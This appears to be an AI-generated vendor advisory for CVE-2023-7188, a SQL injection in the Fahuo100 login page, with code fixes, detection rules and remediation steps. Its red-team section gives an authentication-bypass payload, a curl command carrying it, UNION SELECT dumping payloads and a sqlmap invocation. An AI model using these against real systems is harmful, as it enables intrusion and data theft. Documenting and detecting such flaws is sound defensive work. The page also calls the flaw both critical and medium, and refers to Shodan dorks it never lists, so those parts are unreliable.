CVE-2023-7188
Executive Summary
CVE-2023-7188 is a critical SQL injection vulnerability in the Shipping 100 Fahuo100 application (version up to 1.1). The flaw resides in the member/login.php file, where the M_pwd parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. Although the attack complexity is high and exploitability is considered difficult, a public proof-of-concept (PoC) exists, increasing the risk of exploitation. The vendor has not responded to disclosure attempts, and no official patch is available. This vulnerability could lead to unauthorized data access, credential theft, or further compromise of the application and its underlying database.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 5.0 (Medium)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): High – Successful exploitation requires specific conditions or knowledge.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The exploit cannot affect other components.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited data modification.
- Availability (A): Low – Limited service disruption.
Threat Level: Medium. The high attack complexity reduces the immediate risk, but the public PoC and lack of patch make it a viable target for skilled attackers.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the login functionality of Fahuo100. The member/login.php script processes the M_pwd parameter without proper sanitization or parameterized queries. An attacker can craft a malicious payload in the password field to manipulate the SQL query, potentially bypassing authentication or extracting data.
Root Cause: The application directly concatenates user input into SQL queries. For example, the vulnerable code might look like:
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$M_pwd'";
This allows an attacker to inject SQL commands by providing input such as ' OR '1'='1.
Attack Vector: The attacker sends a POST request to member/login.php with a crafted M_pwd parameter. The high complexity stems from potential WAFs or input filters, but the public PoC demonstrates a working exploit.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// member/login.php (vulnerable)
$username = $_POST['M_username'];
$password = $_POST['M_pwd'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
Patched Code (Conceptual):
// member/login.php (patched)
$username = mysqli_real_escape_string($conn, $_POST['M_username']);
$password = mysqli_real_escape_string($conn, $_POST['M_pwd']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
Or better, using prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
Note: No official patch exists; the above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Fahuo100 up to version 1.1.
- Network access to the login page.
Exploit Steps:
- Identify the login endpoint:
http://target/member/login.php. - Intercept the login request (e.g., using Burp Suite).
- Modify the
M_pwdparameter with a SQL injection payload, such as:M_pwd=' OR '1'='1' -- - - Send the request. If successful, the attacker may be logged in as the first user (often admin).
Example cURL command:
curl -X POST http://target/member/login.php \
-d "M_username=admin&M_pwd=' OR '1'='1' -- -"
Advanced Payloads:
- Extract database version:
' UNION SELECT @@version,2,3 -- - - Dump tables:
' UNION SELECT table_name,2,3 FROM information_schema.tables -- -
Blue Team (Defensive)
Detection:
- Monitor for unusual SQL characters in login parameters (e.g.,
',--,UNION). - Look for repeated failed login attempts followed by a sudden success.
- Use WAF rules to block common SQL injection patterns.
Honeypot:
- Deploy a fake login page that logs all input for analysis.
Lab Setup:
- Install Fahuo100 1.1 in a controlled environment (e.g., Docker).
- Use a tool like SQLMap to automate testing:
sqlmap -u "http://target/member/login.php" --data="M_username=admin&M_pwd=test" --batch
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/member/login.phpwith suspiciousM_pwdvalues containing SQL keywords. - Unusual HTTP response sizes or error messages indicating SQL syntax errors.
- POST requests to
- Logs:
- Web server logs showing
M_pwdparameters with',--,UNION,SELECT, etc. - Database logs showing unexpected queries or errors.
- Web server logs showing
- File System:
- Presence of web shells or unauthorized files in the web root.
- System:
- Unusual database connections or queries from the web server.
Detection Engineering
YARA Rule
rule CVE_2023_7188_SQLi_Login {
meta:
description = "Detects SQL injection attempts targeting Fahuo100 login"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-7188"
strings:
$sqli1 = "M_pwd=" nocase
$sqli2 = "' OR " nocase
$sqli3 = "UNION SELECT" nocase
$sqli4 = "--" nocase
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: SQL Injection Attempt on Fahuo100 Login
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in M_pwd parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "M_pwd="
cs-uri-query|contains|all:
- "'"
- "OR"
- "--"
condition: selection
falsepositives:
- Legitimate use of special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-7188 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/member/login.php"; http_uri; content:"M_pwd="; http_client_body; pcre:"/(\x27|%27).*(OR|or).*(--|%2D%2D)/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system if possible.
- Apply virtual patching using a WAF to block SQL injection patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Since the vendor is unresponsive, consider migrating to a different shipping management solution.
- If source code is available, implement parameterized queries or prepared statements.
- Conduct a full security audit of the application.
Compensating Controls:
- Restrict network access to the application.
- Use strong input validation and output encoding.
- Implement least privilege for database accounts.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.